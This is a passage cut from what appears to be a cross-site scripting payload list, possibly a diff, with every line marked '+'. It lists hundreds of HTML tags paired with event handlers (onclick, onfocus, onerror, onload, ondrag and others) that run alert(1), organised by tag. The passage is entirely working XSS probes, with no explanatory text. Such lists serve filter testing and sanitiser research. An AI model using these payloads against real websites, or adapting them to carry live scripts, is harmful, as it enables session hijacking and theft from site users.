oncut="alert(1)" contenteditable>test</font> +<font ondblclick="alert(1)">test</font> +<font onfocusout=alert(1) tabindex=1 id=x></font><input autofocus> +<font onkeydown="alert(1)" contenteditable>test</font> +<font onkeypress="alert(1)" contenteditable>test</font> +<font onkeyup="alert(1)" contenteditable>test</font> +<font onmousedown="alert(1)">test</font> +<font onmouseenter="alert(1)">test</font> +<font onmouseleave="alert(1)">test</font> +<font onmousemove="alert(1)">test</font> +<font onmouseout="alert(1)">test</font> +<font onmouseover="alert(1)">test</font> +<font onmouseup="alert(1)">test</font> +<font onpaste="alert(1)" contenteditable>test</font> +<footer draggable="true" ondrag="alert(1)">test</footer> +<footer draggable="true" ondragend="alert(1)">test</footer> +<footer draggable="true" ondragenter="alert(1)">test</footer> +<footer draggable="true" ondragleave="alert(1)">test</footer> +<footer draggable="true" ondragstart="alert(1)">test</footer> +<footer id=x tabindex=1 onactivate=alert(1)></footer> +<footer id=x tabindex=1 onbeforeactivate=alert(1)></footer> +<footer id=x tabindex=1 onbeforedeactivate=alert(1)></footer><input autofocus> +<footer id=x tabindex=1 ondeactivate=alert(1)></footer><input id=y autofocus> +<footer id=x tabindex=1 onfocus=alert(1)></footer> +<footer id=x tabindex=1 onfocusin=alert(1)></footer> +<footer onbeforecopy="alert(1)" contenteditable>test</footer> +<footer onbeforecut="alert(1)" contenteditable>test</footer> +<footer onbeforepaste="alert(1)" contenteditable>test</footer> +<footer onblur=alert(1) tabindex=1 id=x></footer><input autofocus> +<footer onclick="alert(1)">test</footer> +<footer oncontextmenu="alert(1)">test</footer> +<footer oncopy="alert(1)" contenteditable>test</footer> +<footer oncut="alert(1)" contenteditable>test</footer> +<footer ondblclick="alert(1)">test</footer> +<footer onfocusout=alert(1) tabindex=1 id=x></footer><input autofocus> +<footer onkeydown="alert(1)" contenteditable>test</footer> +<footer onkeypress="alert(1)" contenteditable>test</footer> +<footer onkeyup="alert(1)" contenteditable>test</footer> +<footer onmousedown="alert(1)">test</footer> +<footer onmouseenter="alert(1)">test</footer> +<footer onmouseleave="alert(1)">test</footer> +<footer onmousemove="alert(1)">test</footer> +<footer onmouseout="alert(1)">test</footer> +<footer onmouseover="alert(1)">test</footer> +<footer onmouseup="alert(1)">test</footer> +<footer onpaste="alert(1)" contenteditable>test</footer> +<form draggable="true" ondrag="alert(1)">test</form> +<form draggable="true" ondragend="alert(1)">test</form> +<form draggable="true" ondragenter="alert(1)">test</form> +<form draggable="true" ondragleave="alert(1)">test</form> +<form draggable="true" ondragstart="alert(1)">test</form> +<form id=x tabindex=1 onactivate=alert(1)></form> +<form id=x tabindex=1 onbeforeactivate=alert(1)></form> +<form id=x tabindex=1 onbeforedeactivate=alert(1)></form><input autofocus> +<form id=x tabindex=1 ondeactivate=alert(1)></form><input id=y autofocus> +<form id=x tabindex=1 onfocus=alert(1)></form> +<form id=x tabindex=1 onfocusin=alert(1)></form> +<form onbeforecopy="alert(1)" contenteditable>test</form> +<form onbeforecut="alert(1)" contenteditable>test</form> +<form onbeforepaste="alert(1)" contenteditable>test</form> +<form onblur=alert(1) tabindex=1 id=x></form><input autofocus> +<form onclick="alert(1)">test</form> +<form oncontextmenu="alert(1)">test</form> +<form oncopy="alert(1)" contenteditable>test</form> +<form oncut="alert(1)" contenteditable>test</form> +<form ondblclick="alert(1)">test</form> +<form onfocusout=alert(1) tabindex=1 id=x></form><input autofocus> +<form onkeydown="alert(1)" contenteditable>test</form> +<form onkeypress="alert(1)" contenteditable>test</form> +<form onkeyup="alert(1)" contenteditable>test</form> +<form onmousedown="alert(1)">test</form> +<form onmouseenter="alert(1)">test</form> +<form onmouseleave="alert(1)">test</form> +<form onmousemove="alert(1)">test</form> +<form onmouseout="alert(1)">test</form> +<form onmouseover="alert(1)">test</form> +<form onmouseup="alert(1)">test</form> +<form onpaste="alert(1)" contenteditable>test</form> +<form onreset=alert(1)><input type=reset> +<form onsubmit=alert(1)><input type=submit> +<form><input oninvalid=alert(1) required><input type=submit> +<form><input type=search onsearch=alert(1) value="Hit return" autofocus> +<form><textarea oninvalid=alert(1) required><input type=submit> +<frame draggable="true" ondrag="alert(1)">test</frame> +<frame draggable="true" ondragend="alert(1)">test</frame> +<frame draggable="true" ondragenter="alert(1)">test</frame> +<frame draggable="true" ondragleave="alert(1)">test</frame> +<frame draggable="true" ondragstart="alert(1)">test</frame> +<frame id=x tabindex=1 onactivate=alert(1)></frame> +<frame id=x tabindex=1 onbeforeactivate=alert(1)></frame> +<frame id=x tabindex=1 onbeforedeactivate=alert(1)></frame><input autofocus> +<frame id=x tabindex=1 ondeactivate=alert(1)></frame><input id=y autofocus> +<frame onbeforecopy="alert(1)" contenteditable>test</frame> +<frame onbeforecut="alert(1)" contenteditable>test</frame> +<frame onbeforepaste="alert(1)" contenteditable>test</frame> +<frame onblur=alert(1) tabindex=1 id=x></frame><input autofocus> +<frame onclick="alert(1)">test</frame> +<frame oncontextmenu="alert(1)">test</frame> +<frame oncopy="alert(1)" contenteditable>test</frame> +<frame oncut="alert(1)" contenteditable>test</frame> +<frame ondblclick="alert(1)">test</frame> +<frame onfocusout=alert(1) tabindex=1 id=x></frame><input autofocus> +<frame onkeydown="alert(1)" contenteditable>test</frame> +<frame onkeypress="alert(1)" contenteditable>test</frame> +<frame onkeyup="alert(1)" contenteditable>test</frame> +<frame onmousedown="alert(1)">test</frame> +<frame onmouseenter="alert(1)">test</frame> +<frame onmouseleave="alert(1)">test</frame> +<frame onmousemove="alert(1)">test</frame> +<frame onmouseout="alert(1)">test</frame> +<frame onmouseover="alert(1)">test</frame> +<frame onmouseup="alert(1)">test</frame> +<frame onpaste="alert(1)" contenteditable>test</frame> +<frameset draggable="true" ondrag="alert(1)">test</frameset> +<frameset draggable="true" ondragend="alert(1)">test</frameset> +<frameset draggable="true" ondragenter="alert(1)">test</frameset> +<frameset draggable="true" ondragleave="alert(1)">test</frameset> +<frameset draggable="true" ondragstart="alert(1)">test</frameset> +<frameset id=x tabindex=1 onactivate=alert(1)></frameset> +<frameset id=x tabindex=1 onbeforeactivate=alert(1)></frameset> +<frameset id=x tabindex=1 onbeforedeactivate=alert(1)></frameset><input autofocus> +<frameset id=x tabindex=1 ondeactivate=alert(1)></frameset><input id=y autofocus> +<frameset id=x tabindex=1 onfocus=alert(1)></frameset> +<frameset id=x tabindex=1 onfocusin=alert(1)></frameset> +<frameset onbeforecopy="alert(1)" contenteditable>test</frameset> +<frameset onbeforecut="alert(1)" contenteditable>test</frameset> +<frameset onbeforepaste="alert(1)" contenteditable>test</frameset> +<frameset onblur=alert(1) tabindex=1 id=x></frameset><input autofocus> +<frameset onclick="alert(1)">test</frameset> +<frameset oncontextmenu="alert(1)">test</frameset> +<frameset oncopy="alert(1)" contenteditable>test</frameset> +<frameset oncut="alert(1)" contenteditable>test</frameset> +<frameset ondblclick="alert(1)">test</frameset> +<frameset onfocusout=alert(1) tabindex=1 id=x></frameset><input autofocus> +<frameset onkeydown="alert(1)" contenteditable>test</frameset> +<frameset onkeypress="alert(1)" contenteditable>test</frameset> +<frameset onkeyup="alert(1)" contenteditable>test</frameset> +<frameset onmousedown="alert(1)">test</frameset> +<frameset onmouseenter="alert(1)">test</frameset> +<frameset onmouseleave="alert(1)">test</frameset> +<frameset onmousemove="alert(1)">test</frameset> +<frameset onmouseout="alert(1)">test</frameset> +<frameset onmouseover="alert(1)">test</frameset> +<frameset onmouseup="alert(1)">test</frameset> +<frameset onpageshow=alert(1)> +<frameset onpaste="alert(1)" contenteditable>test</frameset> +<frameset><frame id=x onfocus=alert(1)> +<frameset><frame id=x onfocusin=alert(1)> +<frameset><frame onload=alert(1)> +<h1 draggable="true" ondrag="alert(1)">test</h1> +<h1 draggable="true" ondragend="alert(1)">test</h1> +<h1 draggable="true" ondragenter="alert(1)">test</h1> +<h1 draggable="true" ondragleave="alert(1)">test</h1> +<h1 draggable="true" ondragstart="alert(1)">test</h1> +<h1 id=x tabindex=1 onactivate=alert(1)></h1> +<h1 id=x tabindex=1 onbeforeactivate=alert(1)></h1> +<h1 id=x tabindex=1 onbeforedeactivate=alert(1)></h1><input autofocus> +<h1 id=x tabindex=1 ondeactivate=alert(1)></h1><input id=y autofocus> +<h1 id=x tabindex=1 onfocus=alert(1)></h1> +<h1 id=x tabindex=1 onfocusin=alert(1)></h1> +<h1 onbeforecopy="alert(1)" contenteditable>test</h1> +<h1 onbeforecut="alert(1)" contenteditable>test</h1> +<h1 onbeforepaste="alert(1)" contenteditable>test</h1> +<h1 onblur=alert(1) tabindex=1 id=x></h1><input autofocus> +<h1 onclick="alert(1)">test</h1> +<h1 oncontextmenu="alert(1)">test</h1> +<h1 oncopy="alert(1)" contenteditable>test</h1> +<h1 oncut="alert(1)" contenteditable>test</h1> +<h1 ondblclick="alert(1)">test</h1> +<h1 onfocusout=alert(1) tabindex=1 id=x></h1><input autofocus> +<h1 onkeydown="alert(1)" contenteditable>test</h1> +<h1 onkeypress="alert(1)" contenteditable>test</h1> +<h1 onkeyup="alert(1)" contenteditable>test</h1> +<h1 onmousedown="alert(1)">test</h1> +<h1 onmouseenter="alert(1)">test</h1> +<h1 onmouseleave="alert(1)">test</h1> +<h1 onmousemove="alert(1)">test</h1> +<h1 onmouseout="alert(1)">test</h1> +<h1 onmouseover="alert(1)">test</h1> +<h1 onmouseup="alert(1)">test</h1> +<h1 onpaste="alert(1)" contenteditable>test</h1> +<head draggable="true" ondrag="alert(1)">test</head> +<head draggable="true" ondragend="alert(1)">test</head> +<head draggable="true" ondragenter="alert(1)">test</head> +<head draggable="true" ondragleave="alert(1)">test</head> +<head draggable="true" ondragstart="alert(1)">test</head> +<head id=x tabindex=1 onactivate=alert(1)></head> +<head id=x tabindex=1 onbeforeactivate=alert(1)></head> +<head id=x tabindex=1 onbeforedeactivate=alert(1)></head><input autofocus> +<head id=x tabindex=1 ondeactivate=alert(1)></head><input id=y autofocus> +<head id=x tabindex=1 onfocus=alert(1)></head> +<head id=x tabindex=1 onfocusin=alert(1)></head> +<head onbeforecopy="alert(1)" contenteditable>test</head> +<head onbeforecut="alert(1)" contenteditable>test</head> +<head onbeforepaste="alert(1)" contenteditable>test</head> +<head onblur=alert(1) tabindex=1 id=x></head><input autofocus> +<head onclick="alert(1)">test</head> +<head oncontextmenu="alert(1)">test</head> +<head oncopy="alert(1)" contenteditable>test</head> +<head oncut="alert(1)" contenteditable>test</head> +<head ondblclick="alert(1)">test</head> +<head onfocusout=alert(1) tabindex=1 id=x></head><input autofocus> +<head onkeydown="alert(1)" contenteditable>test</head> +<head onkeypress="alert(1)" contenteditable>test</head> +<head onkeyup="alert(1)" contenteditable>test</head> +<head onmousedown="alert(1)">test</head> +<head onmouseenter="alert(1)">test</head> +<head onmouseleave="alert(1)">test</head> +<head onmousemove="alert(1)">test</head> +<head onmouseout="alert(1)">test</head> +<head onmouseover="alert(1)">test</head> +<head onmouseup="alert(1)">test</head> +<head onpaste="alert(1)" contenteditable>test</head> +<header draggable="true" ondrag="alert(1)">test</header> +<header draggable="true" ondragend="alert(1)">test</header> +<header draggable="true" ondragenter="alert(1)">test</header> +<header draggable="true" ondragleave="alert(1)">test</header> +<header draggable="true" ondragstart="alert(1)">test</header> +<header id=x tabindex=1 onactivate=alert(1)></header> +<header id=x tabindex=1 onbeforeactivate=alert(1)></header> +<header id=x tabindex=1 onbeforedeactivate=alert(1)></header><input autofocus> +<header id=x tabindex=1 ondeactivate=alert(1)></header><input id=y autofocus> +<header id=x tabindex=1 onfocus=alert(1)></header> +<header id=x tabindex=1 onfocusin=alert(1)></header> +<header onbeforecopy="alert(1)" contenteditable>test</header> +<header onbeforecut="alert(1)" contenteditable>test</header> +<header onbeforepaste="alert(1)" contenteditable>test</header> +<header onblur=alert(1) tabindex=1 id=x></header><input autofocus> +<header onclick="alert(1)">test</header> +<header oncontextmenu="alert(1)">test</header> +<header oncopy="alert(1)" contenteditable>test</header> +<header oncut="alert(1)" contenteditable>test</header> +<header ondblclick="alert(1)">test</header> +<header onfocusout=alert(1) tabindex=1 id=x></header><input autofocus> +<header onkeydown="alert(1)" contenteditable>test</header> +<header onkeypress="alert(1)" contenteditable>test</header> +<header onkeyup="alert(1)" contenteditable>test</header> +<header onmousedown="alert(1)">test</header> +<header onmouseenter="alert(1)">test</header> +<header onmouseleave="alert(1)">test</header> +<header onmousemove="alert(1)">test</header> +<header onmouseout="alert(1)">test</header> +<header onmouseover="alert(1)">test</header> +<header onmouseup="alert(1)">test</header> +<header onpaste="alert(1)" contenteditable>test</header> +<hgroup draggable="true" ondrag="alert(1)">test</hgroup> +<hgroup draggable="true" ondragend="alert(1)">test</hgroup> +<hgroup draggable="true" ondragenter="alert(1)">test</hgroup> +<hgroup draggable="true" ondragleave="alert(1)">test</hgroup> +<hgroup draggable="true" ondragstart="alert(1)">test</hgroup> +<hgroup id=x tabindex=1 onactivate=alert(1)></hgroup> +<hgroup id=x tabindex=1 onbeforeactivate=alert(1)></hgroup> +<hgroup id=x tabindex=1 onbeforedeactivate=alert(1)></hgroup><input autofocus> +<hgroup id=x tabindex=1 ondeactivate=alert(1)></hgroup><input id=y autofocus> +<hgroup id=x tabindex=1 onfocus=alert(1)></hgroup> +<hgroup id=x tabindex=1 onfocusin=alert(1)></hgroup> +<hgroup onbeforecopy="alert(1)" contenteditable>test</hgroup> +<hgroup onbeforecut="alert(1)" contenteditable>test</hgroup> +<hgroup onbeforepaste="alert(1)" contenteditable>test</hgroup> +<hgroup onblur=alert(1) tabindex=1 id=x></hgroup><input autofocus> +<hgroup onclick="alert(1)">test</hgroup> +<hgroup oncontextmenu="alert(1)">test</hgroup> +<hgroup oncopy="alert(1)" contenteditable>test</hgroup> +<hgroup oncut="alert(1)" contenteditable>test</hgroup> +<hgroup ondblclick="alert(1)">test</hgroup> +<hgroup onfocusout=alert(1) tabindex=1 id=x></hgroup><input autofocus> +<hgroup onkeydown="alert(1)" contenteditable>test</hgroup> +<hgroup onkeypress="alert(1)" contenteditable>test</hgroup> +<hgroup onkeyup="alert(1)" contenteditable>test</hgroup> +<hgroup onmousedown="alert(1)">test</hgroup> +<hgroup onmouseenter="alert(1)">test</hgroup> +<hgroup onmouseleave="alert(1)">test</hgroup> +<hgroup onmousemove="alert(1)">test</hgroup> +<hgroup onmouseout="alert(1)">test</hgroup> +<hgroup onmouseover="alert(1)">test</hgroup> +<hgroup onmouseup="alert(1)">test</hgroup> +<hgroup onpaste="alert(1)" contenteditable>test</hgroup> +<hr draggable="true" ondrag="alert(1)">test</hr> +<hr draggable="true" ondragend="alert(1)">test</hr> +<hr draggable="true" ondragenter="alert(1)">test</hr> +<hr draggable="true" ondragleave="alert(1)">test</hr> +<hr draggable="true" ondragstart="alert(1)">test</hr> +<hr id=x tabindex=1 onactivate=alert(1)></hr> +<hr id=x tabindex=1 onbeforeactivate=alert(1)></hr> +<hr id=x tabindex=1 onbeforedeactivate=alert(1)></hr><input autofocus> +<hr id=x tabindex=1 ondeactivate=alert(1)></hr><input id=y autofocus> +<hr id=x tabindex=1 onfocus=alert(1)></hr> +<hr id=x tabindex=1 onfocusin=alert(1)></hr> +<hr onbeforecopy="alert(1)" contenteditable>test</hr> +<hr onbeforecut="alert(1)" contenteditable>test</hr> +<hr onbeforepaste="alert(1)" contenteditable>test</hr> +<hr onblur=alert(1) tabindex=1 id=x></hr><input autofocus> +<hr onclick="alert(1)">test</hr> +<hr oncontextmenu="alert(1)">test</hr> +<hr oncopy="alert(1)" contenteditable>test</hr> +<hr oncut="alert(1)" contenteditable>test</hr> +<hr ondblclick="alert(1)">test</hr> +<hr onfocusout=alert(1) tabindex=1 id=x></hr><input autofocus> +<hr onkeydown="alert(1)" contenteditable>test</hr> +<hr onkeypress="alert(1)" contenteditable>test</hr> +<hr onkeyup="alert(1)" contenteditable>test</hr> +<hr onmousedown="alert(1)">test</hr> +<hr onmouseenter="alert(1)">test</hr> +<hr onmouseleave="alert(1)">test</hr> +<hr onmousemove="alert(1)">test</hr> +<hr onmouseout="alert(1)">test</hr> +<hr onmouseover="alert(1)">test</hr> +<hr onmouseup="alert(1)">test</hr> +<hr onpaste="alert(1)" contenteditable>test</hr> +<html draggable="true" ondrag="alert(1)">test</html> +<html draggable="true" ondragend="alert(1)">test</html> +<html draggable="true" ondragenter="alert(1)">test</html> +<html draggable="true" ondragleave="alert(1)">test</html> +<html draggable="true" ondragstart="alert(1)">test</html> +<html id=x tabindex=1 onactivate=alert(1)></html> +<html id=x tabindex=1 onbeforeactivate=alert(1)></html> +<html id=x tabindex=1 onbeforedeactivate=alert(1)></html><input autofocus> +<html id=x tabindex=1 ondeactivate=alert(1)></html><input id=y autofocus> +<html id=x tabindex=1 onfocus=alert(1)></html> +<html id=x tabindex=1 onfocusin=alert(1)></html> +<html onbeforecopy="alert(1)" contenteditable>test</html> +<html onbeforecut="alert(1)" contenteditable>test</html> +<html onbeforepaste="alert(1)" contenteditable>test</html> +<html onblur=alert(1) tabindex=1 id=x></html><input autofocus> +<html onclick="alert(1)">test</html> +<html oncontextmenu="alert(1)">test</html> +<html oncopy="alert(1)" contenteditable>test</html> +<html oncut="alert(1)" contenteditable>test</html> +<html ondblclick="alert(1)">test</html> +<html onfocusout=alert(1) tabindex=1 id=x></html><input autofocus> +<html onkeydown="alert(1)" contenteditable>test</html> +<html onkeypress="alert(1)" contenteditable>test</html> +<html onkeyup="alert(1)" contenteditable>test</html> +<html onmousedown="alert(1)">test</html> +<html onmouseenter="alert(1)">test</html> +<html onmouseleave="alert(1)">test</html> +<html onmousemove="alert(1)">test</html> +<html onmouseout="alert(1)">test</html> +<html onmouseover="alert(1)">test</html> +<html onmouseup="alert(1)">test</html> +<html onpaste="alert(1)" contenteditable>test</html> +<i draggable="true" ondrag="alert(1)">test</i> +<i draggable="true" ondragend="alert(1)">test</i> +<i draggable="true" ondragenter="alert(1)">test</i> +<i draggable="true" ondragleave="alert(1)">test</i> +<i draggable="true" ondragstart="alert(1)">test</i> +<i id=x tabindex=1 onactivate=alert(1)></i> +<i id=x tabindex=1 onbeforeactivate=alert(1)></i> +<i id=x tabindex=1 onbeforedeactivate=alert(1)></i><input autofocus> +<i id=x tabindex=1 ondeactivate=alert(1)></i><input id=y autofocus> +<i id=x tabindex=1 onfocus=alert(1)></i> +<i id=x tabindex=1 onfocusin=alert(1)></i> +<i onbeforecopy="alert(1)" contenteditable>test</i> +<i onbeforecut="alert(1)" contenteditable>test</i> +<i onbeforepaste="alert(1)" contenteditable>test</i> +<i onblur=alert(1) tabindex=1 id=x></i><input autofocus> +<i onclick="alert(1)">test</i> +<i oncontextmenu="alert(1)">test</i> +<i oncopy="alert(1)" contenteditable>test</i> +<i oncut="alert(1)" contenteditable>test</i> +<i ondblclick="alert(1)">test</i> +<i onfocusout=alert(1) tabindex=1 id=x></i><input autofocus> +<i onkeydown="alert(1)" contenteditable>test</i> +<i onkeypress="alert(1)" contenteditable>test</i> +<i onkeyup="alert(1)" contenteditable>test</i> +<i onmousedown="alert(1)">test</i> +<i onmouseenter="alert(1)">test</i> +<i onmouseleave="alert(1)">test</i> +<i onmousemove="alert(1)">test</i> +<i onmouseout="alert(1)">test</i> +<i onmouseover="alert(1)">test</i> +<i onmouseup="alert(1)">test</i> +<i onpaste="alert(1)" contenteditable>test</i> +<iframe draggable="true" ondrag="alert(1)">test</iframe> +<iframe draggable="true" ondragend="alert(1)">test</iframe> +<iframe draggable="true" ondragenter="alert(1)">test</iframe> +<iframe draggable="true" ondragleave="alert(1)">test</iframe> +<iframe draggable="true" ondragstart="alert(1)">test</iframe> +<iframe id=x onfocus=alert(1)> +<iframe id=x onfocusin=alert(1)> +<iframe id=x tabindex=1 onactivate=alert(1)></iframe> +<iframe id=x tabindex=1 onbeforeactivate=alert(1)></iframe> +<iframe id=x tabindex=1 onbeforedeactivate=alert(1)></iframe><input autofocus> +<iframe id=x tabindex=1 ondeactivate=alert(1)></iframe><input id=y autofocus> +<iframe onbeforecopy="alert(1)" contenteditable>test</iframe> +<iframe onbeforecut="alert(1)" contenteditable>test</iframe> +<iframe onbeforepaste="alert(1)" contenteditable>test</iframe> +<iframe onblur=alert(1) id=x><input autofocus> +<iframe onclick="alert(1)">test</iframe> +<iframe oncontextmenu="alert(1)">test</iframe> +<iframe oncopy="alert(1)" contenteditable>test</iframe> +<iframe oncut="alert(1)" contenteditable>test</iframe> +<iframe ondblclick="alert(1)">test</iframe> +<iframe onfocusout=alert(1) id=x><input autofocus> +<iframe onkeydown="alert(1)" contenteditable>test</iframe> +<iframe onkeypress="alert(1)" contenteditable>test</iframe> +<iframe onkeyup="alert(1)" contenteditable>test</iframe> +<iframe onload=alert(1)></iframe> +<iframe onmousedown="alert(1)">test</iframe> +<iframe onmouseenter="alert(1)">test</iframe> +<iframe onmouseleave="alert(1)">test</iframe> +<iframe onmousemove="alert(1)">test</iframe> +<iframe onmouseout="alert(1)">test</iframe> +<iframe onmouseover="alert(1)">test</iframe> +<iframe onmouseup="alert(1)">test</iframe> +<iframe onpaste="alert(1)" contenteditable>test</iframe> +<iframe onreadystatechange=alert(1)></iframe> +<image draggable="true" ondrag="alert(1)">test</image> +<image draggable="true" ondragend="alert(1)">test</image> +<image draggable="true" ondragenter="alert(1)">test</image> +<image draggable="true" ondragleave="alert(1)">test</image> +<image draggable="true" ondragstart="alert(1)">test</image> +<image id=x tabindex=1 onactivate=alert(1)></image> +<image id=x tabindex=1 onbeforeactivate=alert(1)></image> +<image id=x tabindex=1 onbeforedeactivate=alert(1)></image><input autofocus> +<image id=x tabindex=1 ondeactivate=alert(1)></image><input id=y autofocus> +<image id=x tabindex=1 onfocus=alert(1)></image> +<image id=x tabindex=1 onfocusin=alert(1)></image> +<image onbeforecopy="alert(1)" contenteditable>test</image> +<image onbeforecut="alert(1)" contenteditable>test</image> +<image onbeforepaste="alert(1)" contenteditable>test</image> +<image onblur=alert(1) tabindex=1 id=x></image><input autofocus> +<image onclick="alert(1)">test</image> +<image oncontextmenu="alert(1)">test</image> +<image oncopy="alert(1)" contenteditable>test</image> +<image oncut="alert(1)" contenteditable>test</image> +<image ondblclick="alert(1)">test</image> +<image onfocusout=alert(1) tabindex=1 id=x></image><input autofocus> +<image onkeydown="alert(1)" contenteditable>test</image> +<image onkeypress="alert(1)" contenteditable>test</image> +<image onkeyup="alert(1)" contenteditable>test</image> +<image onmousedown="alert(1)">test</image> +<image onmouseenter="alert(1)">test</image> +<image onmouseleave="alert(1)">test</image> +<image onmousemove="alert(1)">test</image> +<image onmouseout="alert(1)">test</image> +<image onmouseover="alert(1)">test</image> +<image onmouseup="alert(1)">test</image> +<image onpaste="alert(1)" contenteditable>test</image> +<image src/onerror=alert(1)> +<image src=validimage.png onload=alert(1)> +<image src=validimage.png onloadend=alert(1)> +<image src=validimage.png onloadstart=alert(1)> +<image srcset=1 onerror=alert(1)> +<img draggable="true" ondrag="alert(1)">test</img> +<img draggable="true" ondragend="alert(1)">test</img> +<img draggable="true" ondragenter="alert(1)">test</img> +<img draggable="true" ondragleave="alert(1)">test</img> +<img draggable="true" ondragstart="alert(1)">test</img> +<img id=x tabindex=1 onactivate=alert(1)></img> +<img id=x tabindex=1 onbeforeactivate=alert(1)></img> +<img id=x tabindex=1 onbeforedeactivate=alert(1)></img><input autofocus> +<img id=x tabindex=1 ondeactivate=alert(1)></img><input id=y autofocus> +<img id=x tabindex=1 onfocus=alert(1)></img> +<img id=x tabindex=1 onfocusin=alert(1)></img> +<img onbeforecopy="alert(1)" contenteditable>test</img> +<img onbeforecut="alert(1)" contenteditable>test</img> +<img onbeforepaste="alert(1)" contenteditable>test</img> +<img onblur=alert(1) tabindex=1 id=x></img><input autofocus> +<img onclick="alert(1)">test</img> +<img oncontextmenu="alert(1)">test</img> +<img oncopy="alert(1)" contenteditable>test</img> +<img oncut="alert(1)" contenteditable>test</img> +<img ondblclick="alert(1)">test</img> +<img onfocusout=alert(1) tabindex=1 id=x></img><input autofocus> +<img onkeydown="alert(1)" contenteditable>test</img> +<img onkeypress="alert(1)" contenteditable>test</img> +<img onkeyup="alert(1)" contenteditable>test</img> +<img onmousedown="alert(1)">test</img> +<img onmouseenter="alert(1)">test</img> +<img onmouseleave="alert(1)">test</img> +<img onmousemove="alert(1)">test</img> +<img onmouseout="alert(1)">test</img> +<img onmouseover="alert(1)">test</img> +<img onmouseup="alert(1)">test</img> +<img onpaste="alert(1)" contenteditable>test</img> +<img src/onerror=alert(1)> +<img src=validimage.png onload=alert(1)> +<img src=validimage.png onloadend=alert(1)> +<img src=validimage.png onloadstart=alert(1)> +<img srcset=1 onerror=alert(1)> +<img srcset=validimage.png onload=alert(1)> +<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x> +<img usemap=#x><map name="x"><area href onfocusin=alert(1) id=x> +<input autofocus onfocus=alert(1)> +<input autofocus onfocusin=alert(1)> +<input draggable="true" ondrag="alert(1)">test</input> +<input draggable="true" ondragend="alert(1)">test</input> +<input draggable="true" ondragenter="alert(1)">test</input> +<input draggable="true" ondragleave="alert(1)">test</input> +<input draggable="true" ondragstart="alert(1)">test</input> +<input id=x onfocus=alert(1)> +<input id=x onfocusin=alert(1)> +<input id=x tabindex=1 onactivate=alert(1)></input> +<input id=x tabindex=1 onbeforeactivate=alert(1)></input> +<input id=x tabindex=1 onbeforedeactivate=alert(1)></input><input autofocus> +<input id=x tabindex=1 ondeactivate=alert(1)></input><input id=y autofocus> +<input onauxclick=alert(1)> +<input onbeforecopy=alert(1) value="XSS" autofocus> +<input onbeforecut=alert(1) value="XSS" autofocus> +<input onbeforepaste=alert(1) value="" autofocus> +<input onblur=alert(1) id=x><input autofocus> +<input onchange=alert(1) value=xss> +<input onclick="alert(1)">test</input> +<input oncontextmenu="alert(1)">test</input> +<input oncopy=alert(1) value="XSS" autofocus> +<input oncut=alert(1) value="XSS" autofocus> +<input ondblclick="alert(1)">test</input> +<input onfocusout=alert(1) id=x><input autofocus> +<input oninput=alert(1) value=xss> +<input onkeydown="alert(1)" contenteditable>test</input> +<input onkeypress="alert(1)" contenteditable>test</input> +<input onkeyup="alert(1)" contenteditable>test</input> +<input onmousedown="alert(1)">test</input> +<input onmouseenter="alert(1)">test</input> +<input onmouseleave="alert(1)">test</input> +<input onmousemove="alert(1)">test</input> +<input onmouseout="alert(1)">test</input> +<input onmouseover="alert(1)">test</input> +<input onmouseup="alert(1)">test</input> +<input onpaste=alert(1) value="" autofocus> +<input onselect=alert(1) value="XSS" autofocus> +<input type=checkbox id=x onfocus=alert(1)> +<input type=checkbox id=x onfocusin=alert(1)> +<input type=image onloadend=alert(1) src=validimage.png> +<input type=image onloadstart=alert(1) src=validimage.png> +<input type=image src=1 onerror=alert(1)> +<input type=image src=validimage.png onload=alert(1)> +<input type=radio id=x onfocus=alert(1)> +<input type=radio id=x onfocusin=alert(1)> +<ins draggable="true" ondrag="alert(1)">test</ins> +<ins draggable="true" ondragend="alert(1)">test</ins> +<ins draggable="true" ondragenter="alert(1)">test</ins> +<ins draggable="true" ondragleave="alert(1)">test</ins> +<ins draggable="true" ondragstart="alert(1)">test</ins> +<ins id=x tabindex=1 onactivate=alert(1)></ins> +<ins id=x tabindex=1 onbeforeactivate=alert(1)></ins> +<ins id=x tabindex=1 onbeforedeactivate=alert(1)></ins><input autofocus> +<ins id=x tabindex=1 ondeactivate=alert(1)></ins><input id=y autofocus> +<ins id=x tabindex=1 onfocus=alert(1)></ins> +<ins id=x tabindex=1 onfocusin=alert(1)></ins> +<ins onbeforecopy="alert(1)" contenteditable>test</ins> +<ins onbeforecut="alert(1)" contenteditable>test</ins> +<ins onbeforepaste="alert(1)" contenteditable>test</ins> +<ins onblur=alert(1) tabindex=1 id=x></ins><input autofocus> +<ins onclick="alert(1)">test</ins> +<ins oncontextmenu="alert(1)">test</ins> +<ins oncopy="alert(1)" contenteditable>test</ins> +<ins oncut="alert(1)" contenteditable>test</ins> +<ins ondblclick="alert(1)">test</ins> +<ins onfocusout=alert(1) tabindex=1 id=x></ins><input autofocus> +<ins onkeydown="alert(1)" contenteditable>test</ins> +<ins onkeypress="alert(1)" contenteditable>test</ins> +<ins onkeyup="alert(1)" contenteditable>test</ins> +<ins onmousedown="alert(1)">test</ins> +<ins onmouseenter="alert(1)">test</ins> +<ins onmouseleave="alert(1)">test</ins> +<ins onmousemove="alert(1)">test</ins> +<ins onmouseout="alert(1)">test</ins> +<ins onmouseover="alert(1)">test</ins> +<ins onmouseup="alert(1)">test</ins> +<ins onpaste="alert(1)" contenteditable>test</ins> +<isindex draggable="true" ondrag="alert(1)">test</isindex> +<isindex draggable="true" ondragend="alert(1)">test</isindex> +<isindex draggable="true" ondragenter="alert(1)">test</isindex> +<isindex draggable="true" ondragleave="alert(1)">test</isindex> +<isindex draggable="true" ondragstart="alert(1)">test</isindex> +<isindex id=x tabindex=1 onactivate=alert(1)></isindex> +<isindex id=x tabindex=1 onbeforeactivate=alert(1)></isindex> +<isindex id=x tabindex=1 onbeforedeactivate=alert(1)></isindex><input autofocus> +<isindex id=x tabindex=1 ondeactivate=alert(1)></isindex><input id=y autofocus> +<isindex id=x tabindex=1 onfocus=alert(1)></isindex> +<isindex id=x tabindex=1 onfocusin=alert(1)></isindex> +<isindex onbeforecopy="alert(1)" contenteditable>test</isindex> +<isindex onbeforecut="alert(1)" contenteditable>test</isindex> +<isindex onbeforepaste="alert(1)" contenteditable>test</isindex> +<isindex onblur=alert(1) tabindex=1 id=x></isindex><input autofocus> +<isindex onclick="alert(1)">test</isindex> +<isindex oncontextmenu="alert(1)">test</isindex> +<isindex oncopy="alert(1)" contenteditable>test</isindex> +<isindex oncut="alert(1)" contenteditable>test</isindex> +<isindex ondblclick="alert(1)">test</isindex> +<isindex onfocusout=alert(1) 